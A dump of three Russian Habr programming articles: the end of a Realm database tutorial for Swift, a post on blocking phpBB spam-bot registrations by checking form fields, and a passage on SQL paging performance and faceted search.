List как и класс Realm содержит коллекцию экземпляров объекта, см. скриншот демонстрационной базы данных, последний столбец был просто массивом указателей для существующих записей в другой таблице. Работая с классами Realm, Вы должны знать, что можете справиться с ними, как и с любыми другими классами Swift. Например, Вы можете добавить методы или протоколы и использовать их как любой другой класс Swift.
*Болтать — не мешки ворочать, покажите мне код!*
Хорошо, теперь давайте использовать плагин Realm, который мы установили в Xcode, чтобы создать класс Realm. Перейдите в XCode и создайте новый файл. На правой боковой панели выберите Realm:
Тогда выберите Swift и введите имя класса в качестве Task. Теперь вы увидите нечто вроде этого:
Теперь класс Task готов к добавлению новых свойств.
### Свойства
Конечно, мы должны добавить свойства к классу Task. У задачи будет имя (String), createdAt (NSDate), примечания (String) и isCompleted (Bool). После добавления свойств, класс будет выглядеть следующим образом:
```
class Task: Object {
dynamic var name = ""
dynamic var createdAt = NSDate()
dynamic var notes = ""
dynamic var isCompleted = false
// Specify properties to ignore (Realm won't persist these)
// override static func ignoredProperties() -> [String] {
// return []
// }
}
```
Мы добавили свойства для класса Task и добавили префикс var ко всем свойствам.
Затем, давайте создадим класс TaskList, который будет используется для сохранения задачи:
```
class TaskList: Object {
dynamic var name = ""
dynamic var createdAt = NSDate()
let tasks = List()
// Specify properties to ignore (Realm won't persist these)
// override static func ignoredProperties() -> [String] {
// return []
// }
}
```
У класса TaskList есть имя, createdAt и List — список задач. Здесь у нас есть некоторые замечания:
* List используется для отношений «один ко многим», поскольку у TaskList есть много задач.
* Список очень похож на массив, созданный в методах и получает доступ к объектам, используя индексированное преобразование в нижний индекс. List, как видите, набирается и все объекты должны быть одного типа.
* List является универсальным типом данных, и вот почему мы не добавляли динамическое свойство прежде, чем объявить свойство задач, потому что универсальные свойства не могут быть представлены вObjective-C во время выполнения задачи.
Создавать отношений в Realm довольно просто, как вы видели в предыдущих реализациях для отношений «один ко многим». И как мы уже говорили для отношений «один к одному» вместо списка , мы будем использовать тип объекта. Рассмотрим следующий пример:
```
class Person: Object{
dynamic var name = ""
}
class Car: Object{
dynamic var owner:Person?
}
```
В предыдущем примере свойство владельца действует как отношение «один к одному» к модели данных Person.
Теперь когда были созданы основные классы, я продолжу обсуждать с вами о Realm, создав простое приложение ToDo. Сначала [загрузите](https://github.com/hossamghareeb/realmtasks) приложение и посмотрите его. Запустите его в Xcode 7 (или выше), и Вы увидите следующее:
В проекте я добавил два контроллера представления: TasksViewController и TaskListViewController. Первый контроллер используется для отображения элемента задачи, в то время как второй контроллер используется для отображения всех доступных задач. В представлении списка нажмите кнопку +, чтобы добавить список задач. Выбор списка задач продолжится на следующем экране. Там Вы можете добавить несколько задач.
С основной идеей демо-приложения теперь давайте посмотрим, как добавить новый список задач в базу данных Realm. Чтобы сделать это, вам нужно будет обработать несколько элементов:
* Создайте новый объект модели TaskList, и сохраните в Realm.
* Сделать запрос для чтения списка из базы данных для обновления пользовательского интерфейса
Чтобы сохранить объекты в Realm, все, что вам нужно сделать — это создать подкласс модели объекта, и затем записать объект в Realm. Вот примера фрагмента кода, который вам нужен:
```
let taskListA = TaskList()
taskListA.name = "Wishlist"
let wish1 = Task()
wish1.name = "iPhone6s"
wish1.notes = "64 GB, Gold"
let wish2 = Task(value: ["name": "Game Console", "notes": "Playstation 4, 1 TB"])
let wish3 = Task(value: ["Car", NSDate(), "Auto R8", false])
taskListA.tasks.appendContentsOf([wish1, wish2, wish3])
```
Мы создаем список задач путем создания экземпляра класса TaskList и затем устанавливаем его свойства. Затем мы создаем 3 объекта типа Task (wish1, wish2 и wish3). Здесь я продемонстрировал 3 способа создания объектов Realm:
1. В объекте wish1: просто создайте класс Realm и установите свойства.
2. В объекте wish2: Вы можете передать свойства в словарь с ключами (имена свойств) и значения.
3. В объекте wish3: Вы можете передать свойства, используя массивы. Значения в массиве должны быть в том же порядке, как и соответствующие свойства в объявлениях модели класса.
Вложенные объекты
-----------------
Еще одна особенность при создании объектов в Realm – это вложенные объекты. Эта функция может использоваться, когда у вас есть «один к одному» или «один ко многим» отношения, которые означают, что у вас есть свойства типа Object или List. В этом случае, когда вы используете подход #2 или #3, Вы можете заменить объект массивом или словарем, представляющие его свойства. Вот пример вложенных объектов:
```
let taskListB = TaskList(value: ["MoviesList", NSDate(), [["The Martian", NSDate(), "", false], ["The Maze Runner", NSDate(), "", true]]])
```
В вышеупомянутом коде мы создаем список фильмов и задаем имя, createAt, и массив задач. Каждая задача создана, используя массив свойств. Например [“The Maze Runner”, NSDate(), “”, имеют значение true] представлябт задачу с именем, createAt, примечаниями и булевской переменной isCompleted или наоборот.
### Сохранение объектов в Realm
Теперь Вы должны знать, как создать объекты Realm и использовать их в любое время, вы должны сохранить их в базу данных Realm с транзакциями записи. Когда сохраняете данные в Realm, вы можете получить доступ к этим объектам в любом потоке, пока они сохраняются в Realm. Чтобы выполнить транзакцию записи, у вас должен быть объект Realm. Экземпляр Realm (также упоминается как область действия) представляет базу данных Realm. Вы можете создать экземпляр следующим образом:
```
let uiRealm = try! Realm()
```
Мы используем, чтобы добавить эту строку вверху AppDelegate.swift, чтобы совместно использовать объект через все файлы Swift. Позже вы можете легко вызвать метод записи как этот:
```
uiRealm.write { () -> Void in
uiRealm.add([taskListA, taskListB])
}
```
Сначала объект uiRealm создается в классе AppDelegate и будет совместно использован приложением. Объект Realm должен быть создан только один раз, потому что он не ориентирован на многопотоковое исполнение и не может быть совместно использован потоками. Если вы хотите выполнить операцию записи в другом потоке, тогда вы должны создать новый объект Realm. Я назвал его как “uiRealm”, поскольку этот экземпляр определен для UI потока.
Теперь давайте вернемся к нашему приложению, мы сохраняем списки задач после того, как пользователь нажимает кнопку Create. В displayAlertToAddTask методе TasksViewController у нас есть объект createAction:
```
let createAction = UIAlertAction(title: doneTitle, style: UIAlertActionStyle.Default) { (action) -> Void in
let taskName = alertController.textFields?.first?.text
if updatedTask != nil{
// update mode
uiRealm.write({ () -> Void in
updatedTask.name = taskName!
self.readTasksAndUpateUI()
})
}
else{
let newTask = Task()
newTask.name = taskName!
uiRealm.write({ () -> Void in
self.selectedList.tasks.append(newTask)
self.readTasksAndUpateUI()
})
}
}
```
В вышеупомянутом коде мы получаем имя задачи из текстового поля и вызываем метод записи Realm, чтобы сохранить список задач.
Обратите внимание на то, что при выполнении нескольких записей одновременно, они блокируют друг друга и блокируют поток, в котором они выполнялись. Таким образом, вы должны рассмотреть его выполнение в отдельном потоке, не в UI потоке. Другая особенность состоит в том, что, чтения не блокируется, пока вы выполняете транзакции записи. Это полезно, поскольку ваше приложение может выполнить много операций чтения.
### Извлечение Объектов
Теперь, когда вы узнали, как записивать данные в Realm, но это бесполезно, не зная, как получить их назад! Запрашивание базы данных Realm очень просто. Вам предоставляются много опций настройки и фильтрации данных. При выполнении запроса в Realm, он возвращает список объекта Results. Просто думайте о Results как о массиве Swift, ведь его интерфейс очень похож на массив.
Когда у Вас есть экземпляр Results, вы получить данные напрямую с диска. Любые изменения данных (в транзакциях) приведут к изменению данных на диске. В Realm, чтобы запросить объекты, просто вызываете метод объекта с именем класса в качестве параметра. Давайте посмотрим, как использовать его, чтобы прочитать TaskLists и обновить UI:
Мы определили это свойство в TasksListsViewController:
```
var lists : Results!
```
И реализуем метод readTasksAndUpdateUI следующим образом:
```
func readTasksAndUpdateUI() {
lists = uiRealm.objects(TaskList)
self.taskListsTableView.setEditing(false, animated: true)
self.taskListsTableView.reloadData()
}
```
И в методе tableView (\_: cellForRowAtIndexPath: \_), мы отображаем список имен и количество задач внутри этого списка:
```
func tableView(tableView: UITableView, cellForRowAtIndexPath indexPath: NSIndexPath) -> UITableViewCell{
let cell = tableView.dequeueReusableCellWithIdentifier("listCell")
let list = lists[indexPath.row]
cell?.textLabel?.text = list.name
cell?.detailTextLabel?.text = "\(list.tasks.count) Tasks"
return cell!
}
```
Довольно просто, не так ли? Последнее, что нужно сделать так это, вызвать функцию readTasksAndUpdateUI в методе viewWillAppear, чтобы удостовериться, что представление всегда обновляется, при его открытии.
```
override func viewWillAppear(animated: Bool) {
readTasksAndUpdateUI()
}
```
Вот как мы читаем и пишем списки задач с использованием Realm. Далее, вы узнаете, как выполнять операции обновления или удаления в Realm. Прежде чем начать, давайте пройдемся по некоторым фрагментам кода в шаблоне проекта для редактирования/удаления операций из списков.
Сначала у нас есть булевское значение в TaskListsViewController, названное isEditingMode, которое используется для переключения между режимами редактирования и обычным:
```
var isEditingMode = false
```
Когда нажмете на кнопку Edit, будет вызван метод didClickOnEditButton:
```
@IBAction func didClickOnEditButton(sender: UIBarButtonItem) {
isEditingMode = !isEditingMode
self.taskListsTableView.setEditing(isEditingMode, animated: true)
}
```
Это действие позволит включить/отключить режим редактирования UITableView с помощью метода setEditing в UITableView. В UITableView, стандартное действие в режиме редактирования в ячейках появится действие «удаления», но начиная с iOS 8.0, новый метод, под названием editActionsForRowAtIndexPath был добавлен в UITableViewDelegate, чтобы настроить действия, которые будут отображаться в ячейках, когда пользователь проводит по них пальцем.
Мы реализуем этот метод, чтобы добавить два действия: удаления и редактирование следующим образом:
```
func tableView(tableView: UITableView, editActionsForRowAtIndexPath indexPath: NSIndexPath) -> [UITableViewRowAction]? {
let deleteAction = UITableViewRowAction(style: UITableViewRowActionStyle.Destructive, title: "Delete") { (deleteAction, indexPath) -> Void in
//Deletion will go here
let listToBeDeleted = self.lists[indexPath.row]
uiRealm.write({ () -> Void in
uiRealm.delete(listToBeDeleted)
self.readTasksAndUpdateUI()
})
}
let editAction = UITableViewRowAction(style: UITableViewRowActionStyle.Normal, title: "Edit") { (editAction, indexPath) -> Void in
// Editing will go here
let listToBeUpdated = self.lists[indexPath.row]
self.displayAlertToAddTaskList(listToBeUpdated)
}
return [deleteAction, editAction]
}
```
Здесь мы добавили два способа использования действий UITableViewRowAction, который принимает стиль действий, название и обработчик для обработки действий. В настоящее время действия будет выглядеть следующим образом, когда вы проведете пальцем по ячейке или когда нажмете на деструктивную кнопку в режиме редактирования:
Вот как выглядит интерфейс приложения для удаления и обновления.
### Удаление Объектов
Для удаления объектов и данных из базы данных Realm, можно просто вызвать метод delete объекта Realm, передав объект для удаления. И, конечно, это нужно сделать в транзакции записи. Взгляните на следующий код, который показывает, как мы удаляем список задач из базы данных:
```
let listToBeDeleted = self.lists[indexPath.row]
uiRealm.write({ () -> Void in
uiRealm.delete(listToBeDeleted)
self.readTasksAndUpdateUI()
})
```
После удаления мы вызывали функцию readTasksAndUpdateUI, чтобы получить новые данные и обновить UI.
Вместо удаления одного объекта, есть еще одна функция под названием deleteAll, которая позволяет удалить все данные для всех классов в базе данных. Этот метод очень полезный, когда вы сохраняете данные для текущего пользователя, и хотите очистить базу данных, когда он выходит из системы.
```
uiRealm.write({ () -> Void in
uiRealm.deleteAll()
})
```
### Обновление Объектов
В Realm существуют множество способов обновить объекты, но все они должны быть выполнены внутри транзакции записи. Ниже мы рассмотрим некоторые подходы для обновления объектов.
Использование свойств
---------------------
Можно обновить любой объект Realm просто набором свойств с новым значением внутри блока записи. Например, в TasksViewController, мы, просто, изменяем состояние задачи, установив свойство:
```
uiRealm.write({ () -> Void in
task.isCompleted = true
})
```
Использование первичных ключей
------------------------------
Realm поддерживает маркировку одной строки или свойства int на объекте в качестве первичного ключа. При создании объекта Realm с помощью функции add(), если ключ уже существует, то объект будет обновлен новыми значениями.
Вот пример:
```
let user = User()
user.firstName = "John"
user.lastName = "Smith"
user.email = "example@example.com"
user.id = 1
// Updating User with id = 1
realm.write {
realm.add(user, update: true)
}
```
Идентификатор установлен как первичный ключ. Если пользователь с id 1 существует, то Realm обновит объект соответственно. В противном случае, Realm вставит объект в базу данных.
Использование KVC (Key-Value Coding)
------------------------------------
Если вы — опытный iOS разработчик, вы должны быть знакомы с key-value coding. Классы Realm как Object, Results, и List являются KVC совместимыми. Это помогает устанавливать/обновлять свойства в среде выполнения. Еще одна интересная особенность соответствие KVC в List и Results, заключается в том, что вы можете обновить объекты коллекции в целом без необходимости итерации по каждому объекту и их обновления. Я знаю, что Вы не можете понять это полностью. Давайте рассмотрим этот пример:
```
let tasks = uiRealm.objects(Task)
uiRealm.write { () -> Void in
tasks.setValue(true, forKeyPath: "isCompleted")
}
```
В приведенном выше коде, я сделал запрос на получение всех объектов Task, и присвоил isCompleted значение true для всех возвращаемых объектов. Это означает, что я отметил все задачи в базе данных как завершенные с помощью всего одной строки кода.
Давайте вернемся к нашему приложению ToDo. Если вы снова посмотрите на метод displayAlertToAddTaskList, то найдете следующий фрагмент кода:
```
// update mode
uiRealm.write({ () -> Void in
updatedList.name = listName!
self.readTasksAndUpdateUI()
})
```
Он выполняется, когда пользователь редактирует список имен. Мы просто обновляем список имен, задав свойство name.
### Отображение задач
Я познакомил Вас с большую часть кода в TaskListViewController. Теперь давайте взглянем на TasksViewController, который используется для отображения элемента задачи в списке задач. У контроллера есть UITableView, которая разделена на два раздела: завершенные и открытые задачи. В TasksViewController, у нас есть эти свойства:
```
var selectedList : TaskList!
var openTasks : Results!
var completedTasks : Results!
```
selectedList используется для хранения выбранного списка задач, переданного TaskListsViewController. Чтобы отфильтровать задачи по состоянию: открытые или завершенных, мы объявляем две переменные: openTasks и completedTask. Для фильтрации, мы будем использовать волшебный функциональный *filter()* с Realm. Давайте посмотрим, как он выглядит в коде, прежде чем я объясню вам, как работает фильтрация:
```
func readTasksAndUpateUI(){
completedTasks = self.selectedList.tasks.filter("isCompleted = true")
openTasks = self.selectedList.tasks.filter("isCompleted = false")
self.tasksTableView.reloadData()
}
```
В методе мы вызываем метод фильтра для фильтрации результатов. Realm обеспечивает простой способ, чтобы фильтровать Ваш запрос, используя метода *filter()*. Метод может вызываться экземплярами списка, результата и объекта. Он возвращает конкретные объекты на основе условия, заданного в строке фильтра. Вы можете думать о фильтре как о NSPredicate. В общем можно сказать, что они абсолютно одинаковые. Вы можете создать NSPredicate со строкой предиката и передать его, чтобы фильтровать метод как при фильтрации выполненных задач.
Давайте посмотрим на другой пример:
```
// using predicate string
var redCars = realm.objects(Car).filter("color = 'red' AND name BEGINSWITH 'BMW'")
// using NSPredicate
let aPredicate = NSPredicate(format: "color = %@ AND name BEGINSWITH %@", "red", "BMW")
redCars = realm.objects(Car).filter(aPredicate)
```
В приведенном выше коде, мы фильтруем эти автомобили по красному цвету, и чье название начинается с “BMW”. Первая строка кода просто использует строки фильтрации для выполнения фильтрации. В качестве альтернативы можно использовать NSPredicate для достижения тех же результатов. Вот таблица, которая кратко описывает наиболее распространенные операторы сравнения фильтра:
### Сортировка
Теперь, когда мы поговорили об основных операциях базы данных Realm, есть еще одна особенность, которую я хочу представить до конца этого руководства. Сортировка — это еще одна полезная функция, предоставляемая Realm. В List и Results, можете вызвать метод сортировки, чтобы отсортировать коллекцию данных. Давайте посмотрим, как использовать его, чтобы сортировать задачи в списке по алфавиту или по дате создания. Сначала в UI мы добавим сегментированное управление, чтобы отсортировать список на основе выбора:
И для выполнения сортировки, основанной на выборе, логика будет реализоваться следующим образом:
```
@IBAction func didSelectSortCriteria(sender: UISegmentedControl) {
if sender.selectedSegmentIndex == 0{
// A-Z
self.lists = self.lists.sorted("name")
}
else{
// date
self.lists = self.lists.sorted("createdAt", ascending:false)
}
self.taskListsTableView.reloadData()
}
```
### Заключение
Realm является очень легким и простым решением для управления локальным хранения данным и базами данных. Realm дает вам способность масштабировать и упрощает работу, написав всего несколько строк кода. Для большинства приложений и даже для игр, я думаю необходимо использовать эту базу данных, так что дайте ей шанс.
### Что дальше?
Теперь с помощью этого руководства вы можете использовать Realm в своих проектах и сделать все основные операции, такие как *чтение*, *запись*, *обновление*, *удаление*. Realm все еще имеет некоторые дополнительные темы, с которыми нужно ознакомится. Лучшая ссылка, которую я могу порекомендовать это — официальный сайт Realm, эти ребята действительно сделали удивительную работу задокументировав все.
Полный исходный код для Todo app вы можете посмотреть [здесь](https://github.com/hossamghareeb/realmtasks). | https://habr.com/ru/post/272393/ | null | ru | null |
# Защита от спама в phpBB 3 без капчи
Думаю, многие владельцы форумов на phpBB 3 уже знают, что стандартная капча, идущая в комплекте с форумом, особо не спасает.
В общем, зайдя однажды на свой форум, увидел, что за считанные часы добавилось несколько сотен спаммерских сообщений, при том, что и капча включена, и постить можно только зарегенным. Поначалу попробовал просто выбрать другую капчу, но тоже не помогло. Тогда и задумался о другом подходе.
#### Защита на основе анализа действий пользователя
В общем первым делом добавил к форуму скриптец, который писал все запросы как GET, так и POST в лог-файл, чтобы можно было их проанализировать.
Сразу уточню, что форум русскоязычный (русский включен по умолчанию), но есть и английский.
И так типичный запрос на регистрацию от бота выглядит так (выводятся метод, url, referrer, и потом инфа из POST-запроса, email я убрал):
```
GET /forum/index.php /forum/index.php
GET /forum/ucp.php?mode=register /forum/ucp.php?mode=register
POST /forum/ucp.php?mode=register /forum/ucp.php?mode=register
'agreed' => 'Я согласен с этими условиями',
'change_lang' => '',
'creation_time' => '1320421149',
'form_token' => '16d4c035a7de1680c4e19fe0addd242d7edf1822',
POST /forum/ucp.php?mode=register /forum/ucp.php?mode=register
'username' => 'Shemtrearve',
'email' => 'deassepleadia@....com',
'email_confirm' => 'deassepleadia@....com',
'new_password' => 'q49uh3oYcN',
'password_confirm' => 'q49uh3oYcN',
'lang' => 'en',
'tz' => '-12',
'agreed' => 'true',
'change_lang' => '0',
'submit' => 'Отправить',
'creation_time' => '1320421154',
'form_token' => '97471b3af621c1a60f825e50d2b61b3346b48025',
GET /forum/ucp.php?mode=login /forum/ucp.php?mode=login
```
Также я убрал sid из URL, боты их зачастую добавляют, хотя они отключены у меня в форуме. Все запросы сделаны с интервалом 4-5 секунд.
Теперь ищем странности в запросе:
1. Естественно сразу видно, что бот заходит на страницу с этой же страницы (referrer совпадает со страницей).
2. Во втором POST запросе, обращаем внимание на то, что бот выбрал английский язык, при том в предыдущем запросе он язык не менял, и типа спокойно прочитал правила форума на русском, а потом выбрал английский.
3. Далее мы выдим, что выбрана временная зона -12, хотя эта зона чисто условна и там никто не живет. А всё дело в том, что phpBB эту дату высталяет JavaScript-ом, а у ботов она остается по умолчанию.
4. Далее change\_lang = 0 при том, что в phpBB не может быть такого значения, там должен быть код языка.
5. Ну и напоследок submit на русском языке, при выбранном английском языке. Есть еще тупые боты которые не понимают кириллицы, и в это поле вставляются вопросительные знаки.
В общем, вывод достаточно простой, но основе пунктов 2-5, делаем небольшой скрипт, который будет препятствовать регистрации ботов.
Код выглядит примерно так
```
if (isset($_POST['password_confirm']) && isset($_POST['tz'])){ // Пришел запрос на регистрацию
if(
$_POST['tz'] == -12 || // Нереальная временная зона
($_POST['lang'] == 'en' && $_POST['change_lang'] != 'en') || // Изменен основной язык, но change_lang при это не изменен
($_POST['lang'] == 'en' && $_POST['submit'] == 'Отправить') // Язык вроде английский, а кнопка почему-то русская
){
header("HTTP/1.1 404 Not Found");
exit;
}
}
```
Проще всего добавить этот код в конце config.php, чтобы не долго ковыряться, не снести его при обновлении форума, да и сразу посылать ботов лесом. Можно упростить условие по желанию, просто для наглядности расписал. Благодаря такому простому коду я отсеял практически всех спаммеров, при том, что даже выключил капчу.
Понятное дело, что со временем боты научатся это обходить, но тогда и мы, что-нибудь новое придумаем.
**UPD. Подправил код примера, а то там было пару опечаток.** | https://habr.com/ru/post/131920/ | null | ru | null |
# Вывод результатов поиска и проблемы с производительностью
Один из типовых сценариев во всех привычных нам приложениях — поиск данных по определенным критериям и вывод их в удобном для чтения виде. Тут же могут быть дополнительные возможности по сортировке, группировке, постраничному выводу. Задача, по идее, тривиальная, но при ее решении многие разработчики делают ряд ошибок, из-за которых потом страдает производительность. Попробуем рассмотреть различные варианты решений этой задачи и сформулировать рекомендации по выбору наиболее эффективной реализации.
Вариант пейджинга #1
--------------------
Самый простой вариант, который приходит в голову — это постраничный вывод результатов поиска в его самом классическом в виде.
Предположим, в приложении используется реляционная база данных. В этом случае для вывода информации в таком виде нужно будет выполнить два SQL запроса:
* Получить строки для текущей страницы.
* Посчитать общее количество строк, соответствующее критериям поиска — это нужно для показа страниц.
Рассмотрим первый запрос на примере тестовой MS SQL базы [AdventureWorks](https://github.com/Microsoft/sql-server-samples/releases/download/adventureworks/AdventureWorks2016_EXT.bak) для 2016 сервера. Для этой цели будем использовать таблицу Sales.SalesOrderHeader:
```
SELECT * FROM Sales.SalesOrderHeader
ORDER BY OrderDate DESC
OFFSET 0 ROWS
FETCH NEXT 50 ROWS ONLY
```
Приведенный выше запрос выведет первые 50 заказов из списка, отсортированного по убыванию даты добавления, другими словами — 50 последних заказов.
Выполняется он быстро на тестовой базе, но давайте посмотрим на план выполнения и статистику ввода-вывода:
```
Table 'SalesOrderHeader'. Scan count 1, logical reads 698, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
```
*Получить статистику ввода/вывода для каждого запроса можно, выполнив в среде выполнения запросов команду SET STATISTICS IO ON.*
Как видно из плана выполнения, наиболее ресурсоемкой является сортировка всех строк исходной таблицы по дате добавления. И проблема в том, что чем больше в таблице будет появляться строк, тем «тяжелее» будет сортировка. На практике таких ситуаций следует избегать, поэтому добавим индекс на дату добавления и посмотрим, изменилось ли потребление ресурсов:
```
Table 'SalesOrderHeader'. Scan count 1, logical reads 165, physical reads 0, read-ahead reads 5, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
```
Очевидно, стало намного лучше. Но все ли проблемы решены? Изменим запрос на поиск заказов, где суммарная стоимость товаров превышает 100 долларов:
```
SELECT * FROM Sales.SalesOrderHeader
WHERE SubTotal > 100
ORDER BY OrderDate DESC
OFFSET 0 ROWS
FETCH NEXT 50 ROWS ONLY
```
```
Table 'SalesOrderHeader'. Scan count 1, logical reads 1081, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
```
Имеем забавную ситуацию: план запроса ненамного хуже предыдущего, но фактическое количество логических чтений почти в два раза больше, чем при полном скане таблицы. Выход есть — если из уже существующего индекса сделать составной и вторым полем добавить суммарную цену товаров, то снова получим 165 logical reads:
```
CREATE INDEX IX_SalesOrderHeader_OrderDate_SubTotal on Sales.SalesOrderHeader(OrderDate, SubTotal);
```
Эту серию примеров можно продолжать еще долго, но две основных мысли, которые я хочу здесь выразить, такие:
* Добавление любого нового критерия или порядка сортировки в поисковый запрос может существенно повлиять на скорость его выполнения.
* Но если нам необходимо вычитать только часть данных, а не все результаты, подходящие под условия поиска — есть много способов оптимизировать такой запрос.
Теперь перейдем ко второму запросу, упомянутому в самом начале — к тому, который считает количество записей, удовлетворяющих поисковому критерию. Возьмем тот же пример — поиск заказов, которые дороже 100 долларов:
```
SELECT COUNT(1) FROM Sales.SalesOrderHeader
WHERE SubTotal > 100
```
При наличии составного индекса, указанного выше, получаем:
```
Table 'SalesOrderHeader'. Scan count 1, logical reads 698, physical reads 0, read-ahead reads 0, lob logical reads 0, lob physical reads 0, lob read-ahead reads 0.
```
То, что запрос проходит весь индекс целиком — неудивительно, так как поле SubTotal стоит не на первой позиции, поэтому запрос не может им воспользоваться. Проблема решается добавлением еще одного индекса на поле SubTotal, и по итогу дает уже всего 48 logical reads.
Можно привести еще несколько примеров запросов на подсчет количества, но суть останется той же: **получение порции данных и подсчет общего количества — это два принципиально разных запроса**, и каждый требует своих мер для оптимизации. В общем случае не получится найти комбинацию индексов, которая одинаково хорошо работает для обоих запросов.
Соответственно, одно из важных требований, которое следует уточнить при разработке такого поискового решения — действительно ли бизнесу важно видеть общее количество найденных объектов. Зачастую бывает, что нет. А навигация по конкретным номерам страницы, на мой взгляд — решение с очень узкой областью применения, так как большинство сценариев с пейджингом выглядит как «перейти на следующую страницу».
Вариант пейджинга #2
--------------------
Предположим, пользователям не важно знание общего количества найденных объектов. Попробуем упростить поисковую страницу:
По факту изменилось только то, что нет возможности переходить по конкретным номерам страниц, и теперь этой таблице для отображения не нужно знать, сколько всего их может быть. Но возникает вопрос — а как таблица узнает, есть ли данные для следующей страницы (чтобы правильно отобразить ссылку «Next»)?
Ответ очень простой: можно вычитывать из базы на одну запись больше, чем нужно для отображения, и наличие этой «дополнительной» записи и будет показывать, есть ли следующая порция. Таким образом, для получения одной страницы данных нужно будет выполнить всего один запрос, что существенно улучшает производительность и облегчает поддержку такой функциональности. У меня на практике был случай, когда отказ от подсчета общего количества записей ускорил выдачу результатов в 4-5 раз.
Для этого подхода существует несколько вариантов пользовательского интерфейса: команды «назад» и «вперед», как в примере выше, кнопка «загрузить еще», которая просто добавляет новую порцию в отображаемые результаты, «бесконечная прокрутка», которая работает по принципу «загрузить еще», но сигналом для получения следующей порции является прокрутка пользователем всех выведенных результатов до конца. Каким бы ни было визуальное решение, принцип выборки данных остается таким же.
Нюансы реализации пейджинга
---------------------------
Во всех примерах запросов, приведенных выше, используется подход «смещение + количество», когда в самом запросе указывается с какой по порядку строки результата и какое количество строк нужно вернуть. Сперва рассмотрим, как лучше организовать передачу параметров в этом случае. На практике я встречал несколько способов:
* Порядковый номер запрашиваемой страницы (pageIndex), размер страницы (pageSize).
* Порядковый номер первой записи, которую нужно вернуть (startIndex), максимальное количество записей в результате (count).
* Порядковый номер первой записи, которую нужно вернуть (startIndex), порядковый номер последней записи, которую нужно вернуть (endIndex).
На первый взгляд может показаться, что это настолько элементарно, что никакой разницы нет. Но это не так — наиболее удобным и универсальным вариантом является второй (startIndex, count). На это есть несколько причин:
* Для подхода с вычиткой +1 записи, приведенного выше, первый вариант с pageIndex и pageSize крайне неудобен. Например, мы хотим отображать 50 записей на странице. Согласно приведенному выше алгоритму, нужно читать на одну запись больше, чем надо. Если этот «+1» не заложен на сервере, получается, что для первой страницы мы должны запрашивать записи с 1 по 51, для второй — с 51 по 101 и т.д. Если указать размер страницы 51 и увеличивать pageIndex, то вторая страница вернет с 52 по 102 и т.д. Соответственно, в первом варианте единственный способ нормально реализовать кнопку перехода на следующую страницу — закладывать на сервере вычитку «лишней» строки, что будет очень неявным нюансом.
* Третий вариант вообще не имеет смысла, так как для выполнения запросов в большинстве баз данных все равно нужно будет передать количество, а не индекс последней записи. Пусть вычитание startIndex из endIndex и элементарная арифметическая операция, но она здесь лишняя.
Теперь следует описать недостатки реализации пейджинга через «смещение + количество»:
* Получение каждой следующей страницы будет затратнее и медленнее, чем предыдущей, потому что базе данных все равно нужно будет пройти все записи «с начала» согласно критериям поиска и сортировки, после чего остановиться на нужном фрагменте.
* Не все СУБД могут поддерживать этот подход.
Альтернативы есть, но они тоже неидеальны. Первый из таких подходов называется «keyset paging» или «seek method» и заключается в следующем: после получения порции можно запоминать значения полей в последней записи на странице, а затем использовать их для получения следующей порции. Например, мы выполняли такой запрос:
```
SELECT * FROM Sales.SalesOrderHeader
ORDER BY OrderDate DESC
OFFSET 0 ROWS
FETCH NEXT 50 ROWS ONLY
```
И в последней записи получили значение даты заказа '2014-06-29'. Тогда для получения следующей страницы можно будет попытаться выполнить такое:
```
SELECT * FROM Sales.SalesOrderHeader
WHERE OrderDate < '2014-06-29'
ORDER BY OrderDate DESC
OFFSET 0 ROWS
FETCH NEXT 50 ROWS ONLY
```
Проблема в том, что OrderDate — неуникальное поле и условие, указанное выше, с большой вероятностью пропустит много нужных строк. Для внесения однозначности в этот запрос, необходимо добавить к условию уникальное поле (предположим, что 75074 — последнее значение первичного ключа из первой порции):
```
SELECT * FROM Sales.SalesOrderHeader
WHERE (OrderDate = '2014-06-29' AND SalesOrderID < 75074)
OR (OrderDate < '2014-06-29')
ORDER BY OrderDate DESC, SalesOrderID DESC
OFFSET 0 ROWS
FETCH NEXT 50 ROWS ONLY
```
Этот вариант будет работать корректно, но в общем случае его будет тяжело оптимизировать, так как условие содержит оператор OR. Если с ростом OrderDate растет значение первичного ключа, то условие можно упростить, оставив только фильтр по SalesOrderID. Но если между значениями первичного ключа и поля, по которому отсортирован результат, нет строгой корреляции — в большинстве СУБД избежать этого OR не получится. Известным мне исключением является PostgreSQL, где в полной мере поддерживается сравнение кортежей, и указанное выше условие можно записать как «WHERE (OrderDate, SalesOrderID) < ('2014-06-29', 75074)». При наличии составного ключа с этими двумя полями подобный запрос должен быть достаточно легким.
Второй альтернативный подход можно встретить, например, в [ElasticSearch scroll API](https://www.elastic.co/guide/en/elasticsearch/reference/6.8/search-request-scroll.html) или [Cosmos DB](https://medium.com/@gary.strange/understanding-cosmosdb-continuation-tokens-hasmoreresults-and-connectionpolicy-requesttimeouts-3ed1fadfa81d) — когда запрос помимо данных возвращает специальный идентификатор, с помощью которого можно получить следующую порцию данных. Если этот идентификатор имеет неограниченный срок жизни (как в Comsos DB), то это отличный способ реализации пейджинга с последовательным переходом между страницами (вариант #2 упомянутый выше). Его возможные недостатки: поддерживается далеко не во всех СУБД; полученный идентификатор следующей порции может иметь ограниченный срок жизни, что в общем случае не подходит для реализации взаимодействия с пользователем (как, например, ElasticSearch scroll API).
Сложная фильтрация
------------------
Усложняем задачу дальше. Предположим, появилось требование реализовать так называемый faceted search, отлично всем знакомый по Интернет-магазинам. Приведенные выше примеры на основе таблицы заказов не очень показательны в этом случае, поэтому переключимся на таблицу Product из базы AdventureWorks:
В чем идея faceted search? В том, что для каждого элемента фильтра показывается количество записей, соответствующих этому критерию *с учетом фильтров, выбранных во всех остальных категориях*.
Например, если мы выберем в этом примере категорию Bikes и цвет Black, таблица будет выводить только велосипеды черного цвета, но при этом:
* Для каждого критерия группы «Categories» будет показано число продуктов из этой категории черного цвета.
* Для каждого критерия группы «Colors» будет показано число велосипедов этого цвета.
Вот пример вывода результата для таких условий:
Если вдобавок отметить категорию «Clothing», таблица покажет еще и одежду черного цвета, которая есть в наличии. Количество продуктов черного цвета в секции «Color» тоже будет пересчитано согласно новым условиям, только в секции «Categories» ничего не изменится… Надеюсь этих примеров достаточно, чтобы понять привычный алгоритм работы faceted search.
